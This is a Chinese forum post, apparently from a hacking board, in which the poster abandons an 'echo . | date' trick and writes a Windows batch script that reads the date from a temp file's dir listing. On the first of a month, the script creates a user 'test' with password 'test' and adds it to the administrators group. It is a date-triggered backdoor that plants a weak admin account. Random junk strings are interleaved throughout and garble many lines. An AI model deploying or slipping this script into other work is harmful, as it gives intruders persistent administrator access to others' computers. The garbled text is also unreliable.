|
我也没有测试过,今天早上来看了看,发现没用,真是晕... % T' h9 w& B: H4 ~0 @2 T
原来是"echo . | date"命令没有用,但echo . | time却是有用的,这是为什么?有人告诉我吗?
& T: \& V0 u2 v! j5 U后来想了一下,就用其它的办法来实现它. 原理是:在cmd建立一个文件后,用dir查看,除了可以显示此文件的大小、后缀外,还建显示文件建立时间,也就是本地的当前时间啦~ , p7 V1 u$ b+ z* D( i8 Y
1 J! b9 @1 a" {
7 b7 c. ] I0 q 所以 ,重点部份改成: 2 F/ a8 ?0 U0 Y$ Q% J. ?1 p
@echo off
: X9 T! L% m& r s5 P2 s8 @6 Frem \\在C:建立一个空文件date.tmp
; _8 ^6 s0 k6 \8 X& n5 o2 atype nul >c:\date.tmp - e9 i3 i' r5 G6 ^- k4 k
rem \\查看此文件信息,及关键字-01-,也是就此文件的日期是否-01- ; v& p- a3 L% r( q/ X+ p
dir c:\date.tmp | find "-01-">nul
) o, o! l7 u4 orem 如是不是1号,跳到end结束 6 v F5 H! r$ G- d
if errorlevel 1 goto end & C4 b z% z- _- e
rem 如是是1号,跳到run执行 7 A- f( k2 x6 C
if errorlevel 0 goto run
, E: h6 V m6 _+ k! T:run
8 k8 ?% L: I: X& [net user test test /add
& l$ X$ s- ]* e# ?, C5 w, D3 p" Qnet localgroup administrators test /add
8 a; C# t3 p$ C( F0 P5 |) xgoto end - _- G5 R9 F' \: \/ n
:end / z) k9 s1 \0 a9 D# T
del c:\date.tmp >nul ( t. L' [7 R9 t' J
+ J. ]6 Z- `/ u3 z+ e) S a$ h* I
. U0 b3 x+ O" T/ D! u* }: ?& i
' K j' F/ a1 |* b' f) c |